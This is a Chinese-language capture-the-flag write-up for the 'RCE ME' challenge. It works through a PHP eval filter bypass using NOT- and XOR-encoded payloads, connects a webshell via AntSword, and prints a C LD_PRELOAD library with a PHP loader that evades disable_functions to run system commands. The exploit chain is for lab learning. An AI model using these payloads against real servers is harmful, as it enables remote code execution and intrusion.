[极客大挑战 2019]RCE ME
思路
看代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
解题
不会,看WriteUp
参考文献:浅谈PHP代码执行中出现过滤限制的绕过执行方法_php过滤绕过-CSDN博客
BUUCTF:[极客大挑战 2019]RCE ME ——两种方法-CSDN博客
[极客大挑战 2019]RCE ME – 云千 – 博客园 (cnblogs.com)
首先要看phpinfo,因为好像很多函数都被禁用了(到底什么时候要看phpinfo啊)
这里使用文章中提到的取反绕过(url解码之后的字符好像就不在大小写字母和数字里面了)
<?php
$a = '(eval($_POST[lycjfn]))';
$b = urlencode(~$a);
echo $b;
echo '
';
$c = 'assert';
$d = urlencode(~$c);
echo $d;
->
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%86%9C%95%99%91%A2%D6%D6
%9E%8C%8C%9A%8D%8B
得到payload:
/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%86%9C%95%99%91%A2%D6%D6);
然后去连接蚁剑,看到/readflag,但是直接执行不顶用,没权限?

这里的Bypass有两个方法
蚁剑插件Bypass_function
使用Bypass_function的GC_UAF即可
利用动态链接库 LD_PRELOAD
突破思路:
- 创建新进程
- 用c编写我们的恶意代码,将其转化为 so文件
- 让我们的 so文件为
LD_PRELOAD - 让我们的 so文件优先加载
- 运行主体 php函数
# 异或绕过
# _GET -> '%fe%fe%fe%fe^%a1%b9%bb%aa'
/?code=$_GET[_]($_GET[__]);
/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);
&_=assert&__=include('/var/tmp/LD_PRELOAD.php')
这里需要编写一个链接文件
用多种方式读取flag,追加到/var/tmp/test.php里面
确保文件链接
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("cat /flag >> /var/tmp/test.php");
system("tac /flag >> /var/tmp/test.php");
system("more /flag >> /var/tmp/test.php");
system("head -2 /flag >> /var/tmp/test.php");
system("tail /flag >> /var/tmp/test.php");
system("/readflag >> /var/tmp/test.php");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
# 生成动态链接文件
# -shared 是使源码编译成动态库 .so 文件
# -fPIC的作用是 告知编译器 生成位置无关代码(编译产生的代码没有绝对位置,只有相对位置);从而可以在任意地方调用生成的动态库
gcc -shared -fPIC hack.c -o getflag.so
同时,我们编写一个shell.php把这个文件作为动态链接文件
<?php
putenv("LD_PRELOAD=/var/tmp/getflag.so");
mail("","","","");
error_log("",1,"","");
?>
把这两个文件上传到/var/tmp里面,这个文件夹的权限会低一点
然后访问:/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include('/var/tmp/LD_PRELOAD.php')
之后在蚁剑里面打开就能看到flag了

大佬的工具
GitHub – yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)
原理和上面一致
将bypass_disablefun_x64.so和bypass_disablefunc.php上传上去就行
传参时要多穿cmd,outpath和sopath三个参数
/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
注意
不知道为什么,用Ternimal里面的php.exe执行出来的取反字符串和PHP运行出来的不一样。
还是尽量用PHP环境去执行
要记一下固定的绕过方法:/?code=$_GET -> /?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}